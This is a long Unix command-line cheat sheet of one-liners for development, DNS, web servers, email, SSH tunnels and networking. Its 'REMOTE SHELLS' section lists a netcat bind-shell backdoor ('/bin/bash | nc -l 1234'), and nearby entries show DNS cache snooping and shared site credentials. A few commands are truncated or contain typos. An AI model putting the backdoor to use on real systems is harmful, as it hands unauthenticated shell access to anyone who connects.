>> rsync -e "/usr/bin/ssh -p22" -a --progress --stats --delete -l -z -v -r -p /root/files/ user@remote_server:/root/files/
DEVELOPING SOFTWARE
CPP
* Add a newline to the end of a cpp file
>> find . -iname "*.cpp" -exec perl -ni -e 'chomp; print "$_\n"' {} \;
* Create etags file of .c, .cpp, and .h files in all subdirectories
>> find . -regex ".*\.[cChH]\(pp\)?" -print | etags -
* display typedefs, structs, unions and functions provided by a library
>> cpp /usr/include/stdio.h | grep -v '^#' | grep -v '^$' | less
* Display GCC Predefined Macros
>> gcc -dM -E - <<<''
* Show Shared Library Mappings
>> ldconfig -p
* Colorize make, gcc, and diff output
>> colormake, colorgcc, colordiff
* Write and run a quick C program
>> cat | gcc -x c -o a.out - && ./a.out && rm a.out
* make a patch file using an original file and a modification
>> diff -u file.txt.orig file.txt > file.txt.patch
* compile an application
>> ./configure; make && make install ##(use 'sudo' where necessary)
* Display a list of code committers sorted by the frequency of commits
>> svn log -q|grep "|"|awk "{print \$3}"|sort|uniq -c|sort -nr
* List all authors of a particular git project
>> git log --format='%aN' | sort -u
* Figure out your work output for the day
>> git diff --stat `git log --author="XXXXX" --since="12 hours ago" --pretty=oneline | tail -n1 | cut -c1-40` HEAD
* git diff of files that have been staged ie 'git add'ed
>> git diff --cached
REMOTE DEVELOPMENT ....
* detach remote console for long running operations
>> dtach -c /tmp/wires-mc mc
* Execute a sudo command remotely, without displaying the password
>> stty -echo; ssh HOSTNAME "sudo some_command"; stty echo
* How to run a command on a list of remote servers read from a file
>> dsh -M -c -f servers -- "command HERE"
* connect to X login screen via vnc
>> x11vnc -display :0 -auth $(ps -ef|awk '/xauth/ {print $15}'|head -1) -forever -bg &
* Share your terminal session (remotely or whatever)
>> screen -x
* cvs, subversion
* Use a Gmail virtual disk (GmailFS) on Ubuntu
>> mount.gmailfs none /mount/path/ [-o username=USERNAME[,password=PASSWORD][,fsname=VOLUME]] [-p]
LDAP
* LDAP search to query an ActiveDirectory server
>> ldapsearch -LLL -H ldap://activedirectory.example.com:389 -b 'dc=example,dc=com' -D 'DOMAIN\Joe.Bloggs' -w 'p@ssw0rd' '(sAMAccountName=joe.bloggs)'
* decoding Active Directory date format
>> ldapsearch -v -H ldap://<server> -x -D cn=<johndoe>,cn=<users>,dc=<ourdomain>,dc=<tld> -w<secret> -b ou=<lazystaff>,dc=<ourdomain>,dc=<tld> -s sub sAMAccountName=* '*' | perl -pne 's/(\d{11})\d{7}/"DATE-AD(".scalar(localtime($1-11644473600)).")"/e'
DNS THE DOMAIN NAME SYSTEM
* resolve hostname to IP our vice versa with less output
>> resolveip -s www.freshmeat.net
* Determine what version of bind is running on a dns server.
>> dig -t txt -c chaos VERSION.BIND @<dns.server.com>
* flush cached dns lookups
>> ipconfig /flushdns
* Check version of DNS Server
>> nslookup -q=txt -class=CHAOS version.bind NS.PHX5.NEARLYFREESPEECH.NET
* gets the bare ip(s) of a domain
>> dig commandlinefu.com | sed -nr 's/^[^;].*?\s([.0-9]{7,15})$/\1/ p'
* Get MX records for a domain
>> host -t mx foo.org
* Reverse DNS lookups
>> sed 's/\([0-9]*\)\.\([0-9]*\)\.\([0-9]*\)\.\([0-9]*\).in-addr.arpa domain name pointer\(.*\)\./\4.\3.\2.\1\5/' \ lookups.txt
* DNS cache snooping
>> for i in `cat names.txt`; do host -r $i [nameserver]; done
* Check if a .no domain is available
>> check_dns_no() { for i in $* ; do if `wget -O - -q http://www.norid.no/domenenavnbaser/whois/?query=$i.no | grep "no match" &>/dev/null` ; then echo $i.no "available" ; fi ; sleep 1 ;done }
* Get your public ip using dyndns
>> curl -s http://checkip.dyndns.org/ | grep -o "[[:digit:].]\+"
* Get fully qualified domain names (FQDNs) for IP address with
>> NAME=$(nslookup $IP | sed -n 's/.*arpa.*name = \(.*\)/\1/p'); test -z "$NAME" && NAME="NO_NAME"; echo "$NAME"
* Get your external IP address if your machine has a DNS entry
>> host $HOSTNAME|cut -d' ' -f4
* Get your external IP address if your machine has a DNS entry
>> curl www.whatismyip.com/automation/n09230945.asp
* Perform a reverse DNS lookup
>> dig -x 74.125.45.100
* Get your public ip using dyndns
>> curl -s 'http://www.loopware.com/ip.php'
* Check reverse DNS
>> dig -x {IP}
* Check reverse DNS
>> dig +short -x {ip}
* Update your OpenDNS network ip
>> wget -q --user=<username> --password=<password> 'https://updates.opendns.com/nic/update?hostname=your_opendns_hostname& myip=your_ip' -O -
* Update dyndns.org with your external IP.
>> curl -v -k -u user:password "https://members.dyndns.org/nic/update?hostname=<your_domain_name_here> &myip=$(curl -s http://checkip.dyndns.org | sed 's/[a-zA-Z<>/ :]//g')&wildcard=NOCHG&mx=NOCHG&backmx=NOCHG"
* Check reverse DNS
>> host {checkIp or hostname} [dns server]
* Get MX records for a domain
>> dig foo.org mx +short
* Short and sweet output from dig(1)
>> alias ds='dig +noauthority +noadditional +noqr +nostats +noidentify +nocmd +noquestion +nocomments'
* Get your external IP address if your machine has a DNS entry
>> dig +short $HOSTNAME
* List of reverse DNS records for a subnet
>> nmap -R -sL 209.85.229.99/27 | awk '{if($3=="not")print"("$2") no PTR";else print$3" is "$2}' | grep '('
READING USENET NEWS
------------------------------------------------------------
* read news using the server 'nntp.aioe.org' (for example)
>> slrn -h nntp.aioe.org
== news reading programs
.. slrn, in active development
.. alpine, a mail and news program
.. mutt, another mail and news program
.. nn,
.. tin,
..
WEB SERVERS
* set an HTTP redirect to listen on port 80
>> while [ 0 ]; do echo -e "HTTP/1.1 302 Found\nLocation: http://www.whatevs.com/index.html" | nc -vvvv -l -p 80; done
APACHE ....
* Simple list of apache2 virtualhosts
>> /usr/sbin/apache2ctl -S
* Count how many times a certain referer appears in your apache log
>> Q="reddit|digg"; F=*.log; awk -F\" '{print $4}' $F | egrep $Q | wc -l
* Search for specific IPs taken from a text file within the apache
>> grep -E ":(`cat bnd-ips.txt | sed 's/\./\\./g' | tr '\n' '|'`)" access.log
* benchmark web server with apache benchmarking tool
>> ab -n 9000 -c 900 localhost:8080/index.php
* Analyse compressed Apache access logs for the most commonly
>> zcat access_log.*.gz | awk '{print $7}' | sort | uniq -c | sort -n | tail -n 20
* Who has the most Apache connections.
>> netstat -anl | grep :80 | awk '{print $5}' | cut -d ":" -f 1 | uniq -c | sort -n | grep -c IPHERE
* Summarize Apache Extended server-status to show longest running
>> links --dump 1 http://localhost/server-status|grep ^[0-9]|awk 'BEGIN {print "Seconds, PID, State, IP, Domain, TYPE, URL\n--"} $4 !~ /[GCRK_.]/ {print $6, $2, $4, $11, $12, $13 " " $14|"sort -n"}'
* grep apache access.log and list IP's by hits and date - sorted
>> grep Mar/2009 /var/log/apache2/access.log | awk '{ print $1 }' | sort -n | uniq -c | sort -rn | head
* show Apache memory usage
>> ps auxf | grep httpd | grep -v grep | grep -v defunct | awk '{sum=sum+$6}; END {print sum/1024}'
* How much RAM is Apache using?
>> ps -o rss -C httpd | tail -n +2 | (sed 's/^/x+=/'; echo x) | bc
* Know which modules are loaded on an Apache server
>> apache2 -t -D DUMP_MODULES
* Get list of all Apache Virtual Host and which is default for each
>> httpd -S
* web-serve files in the current folder tree accessible at http://$HOSTNAME:8000/
>> python -m SimpleHTTPServer ##(this is the simplest webserver setup)
* Top 10 requestors arranged by IP address from Apache/NCSA Logs
>> awk '{print $1}' /var/log/httpd/access_log | sort | uniq -c | sort -rnk1 | head -n 10
WWW THE WORLD WIDE WEB
------------------------------------------------------------
* Convert HTML file into valid XML
>> tidy -asxhtml -numeric < index.html > index.xml
* rapidshare download script in 200 characters
>> u=`curl -d 'dl.start=Free' $(curl $1|perl -wpi -e 's/^.*"(http:\/\/rs.*)" method.*$/$1/'|egrep '^http'|head -n1)|grep "Level(3) \#2"|perl -wpi -e 's/^.*(http:\/\/rs[^\\\\]*).*$/$1/'`;sleep 60;wget $u
* See how many % of your memory firefox is using
>> ps -o %mem= -C firefox-bin | sed -s 's/\..*/%/'
* Check your unread Gmail from the command line
>> curl -u username:password --silent "https://mail.google.com/mail/feed/atom" | tr -d '\n' | awk -F '<entry>' '{for (i=2; i<=NF; i++) {print $i}}' | sed -n "s/<title>\(.*\)<\/title.*name>\(.*\)<\/name>.*/\2 - \1/p"
* Twitpic upload and Tweet
>> curl --form username=from_twitter --form password=from_twitter --form media=@/path/to/image --form-string "message=tweet" http://twitpic.com/api/uploadAndPost
* check site ssl certificate dates
>> echo | openssl s_client -connect www.google.com:443 2>/dev/null |openssl x509 -dates -noout
* Parallel file downloading with wget
>> wget -nv http://en.wikipedia.org/wiki/Linux -O- | egrep -o "http://[^[:space:]]*.jpg" | xargs -P 10 -r -n 1 wget -nv
* Search Google from the command line
>> curl -A Mozilla http://www.google.com/search?q=test |html2text -width 80
* Log your internet download speed
>> echo $(date +%s) > start-time; URL=http://www.google.com; while true; do echo $(curl -L --w %{speed_download} -o/dev/null -s $URL) >> bps; sleep 10; done &
* Check if a domain is available and get the answer in just one
>> whois domainnametocheck.com | grep match
* count the appearance of a word or a string in a given webpage
>> wget -q -O- PAGE_URL | grep -o 'WORD_OR_STRING' | wc -w
* Creating shortened URLs from the command line
>> curl -s http://tinyurl.com/create.php?url=http://<website.url>/ | sed -n 's/.*\(http:\/\/tinyurl.com\/[a-z0-9][a-z0-9]*\).*/\1/p' | uniq
* Manually Pause/Unpause Firefox Process with POSIX-Signals
>> killall -STOP -m firefox
* Extract all urls from the last firefox sessionstore.js file used.
>> sed -e 's/{"url":/\n&/g' ~/.mozilla/firefox/*/sessionstore.js | cut -d\" -f4
DOWNLOADING FROM THE WEB ....
== web mirroring
.. httrack - more interactive than wget
.. wget
* Run remote web page, but don't save the results
>> wget -O /dev/null http://www.google.com
COMIC STRIPS ONLINE ....
* View the newest xkcd comic.
>> wget `lynx --dump http://xkcd.com/|grep png`
* display the 'dilbert' comic strip of the day
>> display http://dilbert.com$(curl -s dilbert.com|grep -Po '"\K/dyn/str_strip(/0+){4}/.*strip.[^\.]*\.gif')
* whois surfing my web ?
>> watch lsof -i :80
CSS CASCADING STYLE SHEETS ....
* Awk one-liner that sorts a css file by selector
>> awk '/.*{$/{s[$1]=z[$1]=j+0}{l[j++]=$0}END{asorti(s);for(v in s){while(l[z[s[v]]]!~/}$/)print l[z[s[v]]++];print"}"ORS}}'
TWITTER ....
* Speak the last 3 tweets on Mac OS
>> curl -s -u user:password http://twitter.com/statuses/friends_timeline.rss | grep title | sed -ne 's/<\/*title>//gp' | head -n 4 | say -v Bruce
* Update twitter from command line without reveal your password
>> curl -n -d status='Hello from cli' https://twitter.com/statuses/update.xml
* Get your Tweets from the command line
>> curl -s -u user:password 'http://twitter.com/statuses/friends_timeline.xml?count=5' | xmlstarlet sel -t -m '//status' -v 'user/screen_name' -o ': ' -v 'text' -n
* Print trending topics on Twitter
>> wget http://search.twitter.com/trends.json -O - --quiet | ruby -rubygems -e 'require "json";require "yaml"; puts YAML.dump(JSON.parse($stdin.gets))'
* Twit Amarok "now playing" song
>> curl -u <user>:<password> -d status="Amarok, now playing: $(dcop amarok default nowPlaying)" http://twitter.com/statuses/update.json
* Single Line Twitter-Tracker
>> WRDS="word1 word2 wordN"; while [ 1 ];do curl -s http://twitter.com/statuses/public_timeline.rss |grep '<description>' |cut -d '>' -f 2 |cut -d '<' -f 1 > .twitt.tmp && for word in $WRDS;do grep --color=auto -i $word .twtt.tmp;done;sleep 300;done
* Ping Twitter to check if you can connect
>> wget http://twitter.com/help/test.json -q -O -
* another tweet function
>> tweet () { curl -u UserName -d status="$*" http://twitter.com/statuses/update.xml; }
* send tweets to twitter (and get user details)
>> curl --basic --user "user:pass" --data-ascii "status=tweeting%20from%20%the%20linux%20command%20line" http://twitter.com/statuses/update.json
* Update twitter via curl
>> curl -u user:pass -d status="Tweeting from the shell" http://twitter.com/statuses/update.xml
* Print trending topics on Twitter
>> curl -s search.twitter.com | awk -F'</?[^>]+>' '/\/intra\/trend\//{print $2}'
* Print trending topics on Twitter
>> curl --silent search.twitter.com | sed -n '/div id=\"hot\"/,/div/p' | awk -F\> '{print $2}' | awk -F\< '{print $1}' | sed '/^$/d'
FIREFOX ....
* Run the Firefox Profile Manager
>> firefox -no-remote -P
* Releases Firefox of a still running message
>> rm ~/.mozilla/firefox/<profile_dir>/.parentlock
* Extract all urls from last firefox sessionstore
>> perl -lne 'print for /url":"\K[^"]+/g' $(ls -t ~/.mozilla/firefox/*/sessionstore.js | sed q)
* List recorded formular fields of Firefox
>> cd ~/.mozilla/firefox/ && sqlite3 `cat profiles.ini | grep Path | awk
* how to run firefox in safe mode from command line
>> firefox --safe-mode
* Cleanup firefox's database.
>> find ~/Library/Application\ Support/Firefox/ -type f -name "*.sqlite" -exec sqlite3 {} VACUUM \;
* Speed up launch of firefox
>> find ~ -name '*.sqlite' -exec sqlite3 '{}' 'VACUUM;' \;
GRAPHICAL WEB BROWSERS
== some graphical browsers
.. galeon - a small browser for gnome
.. seamonkey
.. iceweasel - debian firefox
.. abrowser - unbranded firefox
.. dillo - a very small browser
..
TEXT MODE WEB SURFING ....
Text-mode web surfing means using a program running from a 'console'
'terminal' or 'command-line' to view web-pages. This generally means
that it is not possible to view the images contained in the web-pages,
only the text. While this is aesthetically inferior, it is faster and
sometimes more useful and less distracting.
== web browsers
.. lynx - the classic text mode browser, debian: lynx, lynx-cur
.. elinks - displays utf8, menus, bad default colours
.. w3m - very strange key bindings, japanese oriented
.. links - doesnt seem to have utf8 support
* a text mode browser with table support
>> links ##(press <f9> to set a menu of options)
* create a lynx macro by recording a session
>> lynx -cmd_log logfilename
* the '-cmd_log' switch should go after a starting page
>> lynx www.xx.net -cmd_log logfile ##(this works)
>> lynx -cmd_log logfile www.xx.net ##(doesnt work!)
* replay a macro recorded with the -cmd_log switch
>> lynx -cmd_script=/path/to/logfilename
* make lynx accept all cookies (also setable in the configuration file)
>> lynx -accept_all_cookies www.xx.net
* w3m can display tables and with "w3m-img" images
>> w3m
* output only text, with underscores, of the previous URL, and save it to the file 'winter_dreams', type (all on one line):
>> lynx -dump -nolist -underscore http://www.utas.edu.au/ > winter_dreams
* print the pure text, with underscores, of the previous URL in a Times Roman font, type (all on one line):
>> lynx -dump -nolist -underscore http://www.sc.edu/fitzgerald/winterd/winter.html | enscript -B
* view the 'new york times' archive with user-name and password 'cypherpunks'
>> lynx -auth=cypherpunks:cypherpunks http://www.nytimes.com/archive/
* save the URL www.nytimes.com/archive/ as an annotated text file, 'mynews'
>> lynx -dump -number_links -auth=cypherpunks:cypherpunks www.nytimes.com/archive/ > mynews
If you want a lynx file to go to a webpage through a password form,
then dont press 'q' quit at the end of the recording or else this
will be included in the macro. Quit lynx with control-c instead.
@@ http://www.timvw.be/listen-to-online-radio/
EMAIL ELECTRONIC MAIL
* Sort a one-per-line list of email address, weeding out duplicates
>> sed 's/[ \t]*$//' < emails.txt | tr 'A-Z' 'a-z' | sort | uniq > emails_sorted.txt
* extract email adresses from some file (or any other pattern)
>> grep -Eio '([[:alnum:]_.-]+@[[:alnum:]_.-]+?\.[[:alpha:].]{2,6})'
* Connect to SMTP server using STARTTLS
>> openssl s_client -starttls smtp -crlf -connect 127.0.0.1:25
* Email HTML content
>> mailx bar@foo.com -s "HTML Hello" -a "Content-Type: text/html" < body.htm
* Block the 6700 worst spamhosts
>> wget -q -O - http://someonewhocares.org/hosts/ | grep ^127 >> /etc/hosts
ALPINE ....
Alpine is a 'console' based (curses) email client, allegedly used
by linus torvalds. It uses the pico text editor to edit mail.
MUTT ....
@@ http://www.mutt.org
the official site.
Mutt is apparently in active development. (Mutt 1.5.20 was released on
June 14, 2009). Mutt uses an external text editor to edit mail
* Send email with one or more binary attachments
>> echo "Body goes here" | mutt -s "A subject" -a /path/to/file.tar.gz
* Create mails array from .mutt-alias file.
>> muttlst(){ for i in $*;do mails+=($(grep -wi "$i" .mutt-alias|awk '{print $NF}'));done;}
WEBMAIL ....
* Check your unread Gmail from the command line
>> curl -u username --silent "https://mail.google.com/mail/feed/atom" | perl -ne 'print "\t" if /<name>/; print "$2\n" if /<(title|name)>(.*)<\/\1>/;'
ATTACHMENTS ....
* Decode a MIME message
>> munpack file.txt
* Send a local file via email
>> echo "see attached file" | mail -a filename -s "subject" email@address
* Send a binary file as an attachment to an email
>> uuencode archive.tar.gz archive.tar.gz | mail -s "Emailing: archive.tar.gz" user@example.com
* Send a local file as an attachment via email
>> mutt you@mailserver.com -s "Message Subject Here" -a attachment.jpg </dev/null
* Send a local file via email
>> mpack -s "Backup: $file" "$file" email@id.com
EMAIL ADDRESSES ....
* extract email adresses from some file (or any other pattern)
>> grep -Eio '([[:alnum:]_.]+@[[:alnum:]_]+?\.[[:alpha:].]{2,6})' file.html
* Move all but the newest 100 emails to a gzipped archive
>> find $MAILDIR/ -type f -printf '%T@ %p\n' | sort --reverse | sed -e '{ 1,100d; s/[0-9]*\.[0-9]* \(.*\)/\1/g }' | xargs -i sh -c "cat {}&&rm -f {}" | gzip -c >>ARCHIVE.gz
SMTP PROTOCOL ....
* python smtp server
>> python -m smtpd -n -c DebuggingServer localhost:1025
* Create AUTH PLAIN string to test SMTP AUTH session
>> printf '\!:1\0\!:1\0\!:2' | mmencode | tr -d '\n' | sed 's/^/AUTH PLAIN /'
OLDER MAIL SYSTEMS ....
* send an email message to lisa@example.com
>> mail lisa@example.com
Subject: Hello
Hi there, long time no talk! I'm just learning how to use
,,,
* send an email message to user mrs on your local system
--------------------------------------------------------
mail mrs
Subject: are you going to the party tonight?
C-d
,,,
* mail the contents of the text file 'trades' to the email address terrapin@example.com
>> mail terrapin@example.com < trades
* mail the text of the URL [28]http://etext.org/ as annotated text
to the email address droneon@example.com
>> mail droneon@example.com < lynx -dump -number_links
http://etext.org/
* insert a copy of the current mail message into the body of the
message you are writing, and then open the message in the default
text editor
~f
* output the location of your INBOX
>> echo $MAIL
Usually, the INBOX location is in the '/var/spool/mail' directory, and
has the same name as your username -- so if your username is mrs, your
* see if you have mail
>> mail
Mail version 8.1 6/6/93. Type ? for help.
"/var/spool/mail/m": 3 messages 3 new
,,,
* read the next unread message in mail
&
* read message number three in mail
>> & 3
* exit mail and revert your INBOX to its state before you started mail
>> & x
* delete the message you just read
>> & d
* delete message 3
>> & d3
* delete messages 10 through 14
>> & d10-14
* view the mail folder '~/email/mrs' in elm
>> elm -f ~/email/mrs
* view the contents of all of the email folders in your '~/email' directory
>> cat ~/email/* > allmessages
>> elm -f allmessages
* turn biff on
>> biff y ##(or put in .bashrc)
* see what biff is set to
>> biff
* see also xbiff,
* see how many email messages you have waiting
>> messages
* count the number of email messages in the mail folder
'~/email/saved'
>> messages ~/email/saved
* output a list showing sender names and subjects of your incoming mail
>> frm
* output a list with sender names and subjects in the file '~/email/saved'
>> frm ~/email/saved
* verify that the email address user@example.edu is valid
>> vrfy user@example.edu
* verify all of the email addresses contained in the file 'mail-list'
>> vrfy -f mail-list
* mail the JPEG file 'dream.jpeg' in the current directory to dali@example.org
------------------------------------------------------------------------------
metasend
To: dali@example.org
,,,
* view the current history log with lynx
>> lynx ~/.browser-history/history-log.html
* find URLs visited in the year 2000 titles containing the word 'Confessions'
>> zgrep Confessions ~/.browser-history/history-log-2000*
* open the URL www.drudgereport.com/ in Mozilla from a shell script
>> mozilla -remote 'openURL(http://www.drudgereport.com/)'
* go back to the last URL you visited
>> type [ALT] [<-],
* forward to the next URL in your history,
>> type [ALT] [->].
* open your bookmarks file in a new window, type [ALT]-b.
* archive the Web site at http://dougal.bris.ac.uk/~mbt/, only archiving the '/~mbt' directory, and writing log messages to a file called 'uk.log'
>> wget -m -t3 -I /~mbt http://dougal.bris.ac.uk/~mbt/
* add 'HEIGHT' and `WIDTH' parameters to the file `index.html',
>> imgsizer index.html
* peruse the file 'index.html' with its HTML tags removed
>> unhtml index.html | less
* remove the HTML tags from 'index.html' and put the output in 'index.txt'
>> unhtml index.html > index.txt
* print a copy of http://example.com/essay/ in typescript manuscript form
>> lynx -dump -underscore -nolist http://example.com/essay/ | pr -d | enscript -B
* print a PostScript copy of the document at the URL
>> html2ps http://example.com/essay/ | lpr
* write a copy of the document at the URL with all hypertext links underlined
>> html2ps -u -o submission.ps http://example.com/essay/
* validate the HTML in the file 'index.html'
>> weblint index.html
* connect to the system kanga.ins.cwru.edu
>> telnet kanga.ins.cwru.edu
Trying 129.22.8.32...
Connected to kanga.INS.CWRU.Edu.
* disconnect from a remote Linux system
>> C-d
* temporarily return to a local shell prompt
faraway-system$ C-[
telnet> z
* return to the remote system
>> fg
faraway-system$
In the first of the two preceding examples, the escape character C-[
* make an anonymous ftp connection to ftp.leo.org
>> ftp ftp.leo.org
Connected to ftp.leo.org.
220-Welcome to LEO.ORG.
* change to the '/pub' directory on the remote system and look at
the files that are there
ftp> cd /pub
250 Directory changed to /pub.
* put a copy of the file 'thyme.rcp' from the current directory on
the local system to the current directory of the remote system,
type:
ftp> put thyme.rcp
* change to the parent directory of the current directory on the
local system
ftp> lcd ..
Local directory now /home/james/demos
* download the file 'INDEX.gz' in the current directory on the
remote system, saving it to your '~/tmp' directory
ftp> lcd ~/tmp
Local directory now /home/james/tmp
* output a list of all newsgroups that match the pattern
'society'
>> nngrep society
Use the '-u' option to only search through unsubscribed groups. This is
* output a list of all unsubscribed-to newsgroups that match the
pattern 'society'
>> nngrep society
In the previous example, if you were already subscribed to the group
THE PPP PROTOCOL
* start a PPP connection
>> pon
* stop a PPP session
>> poff
SENDING AND RECEIVING FAXES
Debian: 'efax'
* fax a copy of the file 'resume.txt' to the number `555-9099', using DTMF tone dialing
>> efax -d /dev/modem -t T555-9099 resume.txt
* fax all of the files with the '.fax' extension in the current directory to the number '555-9099', using DTMF tone dialing
>> efax -d /dev/modem -t T555-9099 *.fax
* fax all of the files listed in the file 'fax.list' to the number '555-9099', dialing `9' first to obtain an outside line, and using DTMF tone dialing
>> efax -d /dev/modem -t T9,555-9099 $(cat fax.list)
* set up efax to receive an incoming fax, saving the session log
to a file, 'faxlog'
>> efax -d /dev/modem -kZ -w -iS0=1 2>&1 >> faxlog
This command starts efax and sets up the modem to wait for an incoming
* automatically receive any incoming fax messages
>> faxon
efax: Wed Feb 24 08:38:52 1999 efax v 0.8a (Debian release 08a-6)
Copyright 1996 Ed Casas
* convert the file 'chart.pbm' for faxing
>> efix -i pbm chart.pbm > chart.fax
This command converts a copy of the file 'chart.pbm' to the `tiffg3'
fax format, writing it to a file called 'chart.fax'. The original PBM
* convert the PostScript file 'resume.ps' to fax format
>> gs -q -sDEVICE=tiffg3 -dSAFER -dNOPAUSE -sOutputFile=resume.fax resume.ps < /dev/null
* convert '19990325.001', a received fax file, to a PostScript file
>> efix -o ps 19990325.001 > received.ps
* dial the number '368-2208'
>> ATDT3682208
REMOTE SHELLS
------------------------------------------------------------
* Create a backdoor on a machine to allow remote connection to bash
>> /bin/bash | nc -l 1234 ##(rather unwise...)
SSH ....
* Script executes itself on another host with one ssh command
>> [ $1 == "client" ] && hostname || cat $0 | ssh $1 /bin/sh -s client
* connect via ssh using mac address
>> sudo arp -s 192.168.1.200 00:35:cf:56:b2:2g temp && ssh root@192.168.1.200
* ssh and attach to a screen in one line.
>> ssh -t user@host screen -x <screen name>
* Forward port 8888 to remote machine for SOCKS Proxy
>> ssh -D 8888 user@site.com
* Copy ssh keys to user@host to enable password-less ssh logins.
>> ssh-copy-id user@host
* Attach screen over ssh
>> ssh -t remote_host screen -r
* login to an ssh server as root 'root@server.net'
>> alias s='ssh -l root'
SSH TUNNELS ....
* start a tunnel from some machine's port 80 to your local port 2001
>> ssh -N -L2001:localhost:80 somemachine
* plink ssh connect
>> plink lyu0@mysshserver -pw 123456
* Transfer large files/directories with no overhead over ssh
>> ssh user@host "cd targetdir; tar cfp - *" | dd of=file.tar
* Create an SSH connection (reverse tunnel) through your firewall.
>> ssh -R 2001:localhost:22 username@<remote server ip>
SSH KEYS ....
* create an alias to logon to the sourceforge shell
>> alias sfshell='ssh -t user,project@shell.sourceforge.net create'
* Copy your SSH public key on a remote machine for passwordless access
>> cat ~/.ssh/*.pub | ssh user@remote-system 'umask 077; cat >>.ssh/authorized_keys'
* Remove invalid key from the known_hosts file for the IP address
>> ssh-keygen -R `host hostname | cut -d " " -f 4`
* Remove invalid host keys from ~/.ssh/known_hosts
>> ssh-keygen -R \[localhost\]:8022
* SSH connection through host in the middle
>> ssh -t reachable_host ssh unreachable_host
* ssh autocomplete on the known hosts
>> complete -W "$(echo `cut -f 1 -d ' ' ~/.ssh/known_hosts | sed -e s/,.*//g | uniq | grep -v "\["`;)" ssh
* find the difference between two nodes
>> diff <(ssh nx915000 "rpm -qa") <(ssh nx915001 "rpm -qa")
* Copy something to multiple SSH hosts with a Bash loop
>> for h in host1 host2 host3 host4 ; { scp file user@h$:/path/; }
* Setup a persistant SSH tunnel w/ pre-shared key authentication
>> autossh -f -i /path/to/key -ND local-IP:PORT User@Server
* live ssh network throughput test
>> pv /dev/zero|ssh $host 'cat > /dev/null'
* setup a tunnel from destination machine port 80 to localhost 2001,
>> ssh -N -L2001:localhost:80 -o "ProxyCommand ssh someuser@hubmachine nc -w 5 %h %p" someuser@destinationmachine
* Enter your ssh password one last time
>> cat .ssh/id_dsa.pub | ssh server.net "[ -d .ssh ] || mkdir .ssh ; cat >> .ssh/authorized_keys"
* open a seperate konsole tab and ssh to each of N servers
>> for i in $(cat listofservers.txt); do konsole --new-tab -e ssh $i; done
* browse files on an ssh server
>> mc
EXPECT
Expect is a useful tool to allow the scripting of tasks
which would normally require some user interaction. Expect
includes its own simple scripting language. Expect is available
on the majority of unix type operating systems, including
Mac OSX.
Entire books exist about expect, Expect is an extension to
the 'tcl' language.
== expect related tools
.. expectk - a graphical front end
.. autoexpect - create a script from an interactive session
..
* set the variable 'x' to the value 30
>> set x 30
* make a script timeout after 20 seconds
>> set timeout 20
The above is useful when interacting with servers which
may not respond.
* start the 'ssh' program from within an expect script
>> spawn ssh
* wait for the program spawn to say exactly "hello!"
>> expect "hello!"
* wait for the program spawned to say anything with boggle in it
>> expect "*boggle*"
* send the response "yes" to the spawned program
>> send "yes\n"
>> send "yes\r" ##(more or less the same)
>> send yes\r ##(also possible, but not always)
* escape a '-' character in a send command
>> send "/-4.5\n"
If we just wrote 'send "-4.5\n"' then expect would think
that -4 was a flag and would crash
* a simple expect script
------------------
#!/usr/bin/expect
set timeout 20
set name [lindex $argv 0]
set user [lindex $argv 1]
set password [lindex $argv 2]
spawn telnet $name
expect "login:"
send "$user "
expect "Password:"
send "$password "
interact # hands interaction to the user
,,,
THE SHELL
------------------------------------------------------------
* set command line editing in the 'vi' mode
>> set -o vi ##(gives "vi" like command line editing keystrokes)
>> set -o emacs ##(return to the default mode)
RAM MEMORY
* View memory utilisation
>> sar -r
* free swap
>> free -b | grep "Swap:" | sed 's/ * / /g' | cut -d ' ' -f2
* Find the ratio between ram usage and swap usage.
>> sysctl -a | grep vm.swappiness
* Monitor memory usage
>> watch vmstat -sSM
VIRTUAL MEMORY ....
* Add temporary swap space
>> dd if=/dev/zero of=/swapfile bs=1M count=64; chmod 600 /swapfile; mkswap /swapfile; swapon /swapfile
* Clean swap area after using a memory hogging application
>> swapoff -a ; swapon -a
* vmstat/iostat with timestamp
>> vmstat 1 | awk '{now=strftime("%Y-%m-%d %T "); print now $0}'
DISKS
------------------------------------------------------------
* check free disk space and display sizes in an easy to read format
>> df -h
* show file and directory sizes for the current directory
>> du -sh *
HARD DISK PARTITIONS ....
* list all hd partitions
>> awk '/d.[0-9]/{print $4}' /proc/partitions
* show disk partitions and sizes
>> sudo fdisk -l
* gparted: to repartition a disk
SERIAL CONNECTIONS
* Test a serial connection
>> host A: cat /proc/dev/ttyS0 host B: echo hello > /dev/ttyS0
THE NETWORK
* Network Information
>> ntop
* restart network manager
>> sudo /etc/init.d/networking restart
* Consolle based network interface monitor
>> ethstatus -i eth0
* Display ncurses based network monitor
>> nload -u m eth0
* Show apps that use internet connection at the moment.
>> netstat -lantp | grep -i stab | awk -F/ '{print $2}' | sort | uniq
* Monitor RX/TX packets and any subsquent errors
>> watch 'netstat -aniv'
* Most simple way to get a list of open ports
>> netstat -lnp
* eth-tool summary of eth# devices
>> for M in 0 1 2 3 ; do echo eth$M ;/sbin/ethtool eth$M | grep -E "Link|Speed" ; done
* Check the status of a network interface
>> mii-tool [if]
* find all active IP addresses in a network
>> arp-scan -l
* Create a persistent connection to a machine
>> ssh -MNf <user>@<host>
* directly ssh to host B that is only accessible through host A
>> ssh -t hostA ssh hostB
* Show all programs on UDP and TCP ports with timer information
>> netstat -putona
* ping the host bfi.org
>> ping bfi.org
* mtr, better than traceroute and ping combined
>> mtr google.com
* Lists all listening ports together with the PID of the associated
>> netstat -tlnp
* finger the user bradley@ap.spl.org
------------------------------------
finger bradley@ap.spl.org
[ap.spl.org]
Login: bradley Name: Bradley J Milton
,,,
* output the users who are currently logged in to the system ap.spl.org
>> finger @ap.spl.org
* find the IP address of the host linart.net
--------------------------------------------
dig linart.net
...output messages...
;; ANSWER SECTION:
,,,
* find the host name that corresponds to the IP address 216.92.9.215
>> dig -x 216.92.9.215
* output the name of the Whois Server for linart.net
>> whois linart.net
* view the domain record for linart.net, using the whois.networksolutions.com
>> whois -h whois.networksolutions.com linart.net
* send the message 'get up!' to the terminal where user 'sleepy' is logged in
>> write sleepy get up
* output the contents of '/etc/motd' to all logged-in terminals,
>> wall /etc/motd
* output the text 'hello?' to all logged-in terminals
>> wall hello?
* disallow messages to be written to your terminal
>> mesg n
* output the current access state of your terminal
>> mesg
* request a chat with the user kat@kent.edu
>> talk kat@kent.edu
* view network traffic with protocols: wireshark
* find which tcp ports are currently in use
>> lsof | grep TCP ##(lsof lists all open unix 'files' including pipes)
* lots of detailed information
>> lshw -C Network
* restart the gnome graphical network manager apple
